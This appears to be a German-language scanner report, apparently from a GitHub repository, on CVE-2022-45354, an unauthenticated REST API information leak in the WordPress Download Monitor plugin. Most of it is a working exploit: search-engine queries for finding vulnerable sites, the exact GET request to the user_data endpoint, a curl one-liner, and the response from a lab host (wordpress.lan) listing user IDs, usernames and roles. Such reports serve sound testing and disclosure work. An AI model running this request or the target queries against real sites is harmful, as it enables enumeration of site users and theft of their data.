randomrobbiebf/cve-2022-45354Download Monitor <= 4.7.60 - Offenlegung sensibler Informationen über die REST-API
Details: CVE-2022-45354:Version gefunden auf http://wordpress.lan
Protokoll: HTTP
Vollständige URL: http://wordpress.lan/wp-content/plugins/download-monitor/readme.txt
Zeitstempel: Di 11 Jul 09:09:59 +0000 UTC 2023
Vorlageninformationen
| Schlüssel | Wert |
|---|---|
| Name | Download Monitor <= 4.7.60 - Offenlegung sensibler Informationen über die REST API |
| Autoren | topscoder |
| Tags | cve, wordpress, wp-plugin, download-monitor, mittel |
| Schweregrad | mittel |
| Beschreibung | Das Download-Monitor-Plugin für WordPress ist in Versionen bis einschließlich 4.7.60 über die REST API anfällig für die Offenlegung sensibler Informationen. Dies kann nicht authentifizierten Angreifern ermöglichen, sensible Daten zu extrahieren, darunter Benutzerberichte, Download-Berichte und Benutzerdaten wie E-Mail, Rolle, ID und andere Informationen (keine Passwörter). |
| CVSS-Metrik | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N |
| CVE-ID | CVE-2022-45354 |
| CVSS-Score | 5.40 |
| fofa-query | wp-content/plugins/download-monitor/ |
| google-query | inurl:"/wp-content/plugins/download-monitor/" |
| shodan-query | vuln:CVE-2022-45354 |
Anfrage
GET /wp-json/download-monitor/v1/user_data HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Antwort
HTTP/1.1 200 OK
Date: Tue, 11 Jul 2023 09:46:18 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.28
dlm-no-waypoints: true
X-Robots-Tag: noindex
Link: <http://wordpress.lan/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET
Vary: Origin
Content-Length: 1108
Connection: close
Content-Type: application/json
[
{
"id": "1",
"nicename": "admin",
"url": "http://wordpress.lan",
"registered": "2023-01-16 13:29:36",
"display_name": "admin",
"role": ""
},
{
"id": "8",
"nicename": "agent",
"url": "",
"registered": "2023-07-06 08:09:15",
"display_name": "agent",
"role": [
"subscriber"
]
},
{
"id": "3",
"nicename": "debra_moran",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Debra Moran",
"role": [
"wdk_agent"
]
},
{
"id": "4",
"nicename": "garry_novan",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Garry Novan",
"role": [
"wdk_agent"
]
},
{
"id": "5",
"nicename": "kety_spear",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Kety Spear",
"role": [
"wdk_agent"
]
},
{
"id": "7",
"nicename": "tagent",
"url": "",
"registered": "2023-07-06 08:09:14",
"display_name": "tagent",
"role": [
"subscriber"
]
},
{
"id": "9",
"nicename": "test",
"url": "",
"registered": "2023-07-06 09:56:31",
"display_name": "test",
"role": []
},
{
"id": "6",
"nicename": "rob",
"url": "",
"registered": "2023-06-28 13:36:56",
"display_name": "rob",
"role": [
"subscriber"
]
},
{
"id": "2",
"nicename": "user",
"url": "",
"registered": "2023-06-06 08:20:31",
"display_name": "user name",
"role": [
"subscriber"
]
}
]
CURL-Befehl
curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'http://wordpress.lan/wp-json/download-monitor/v1/user_data'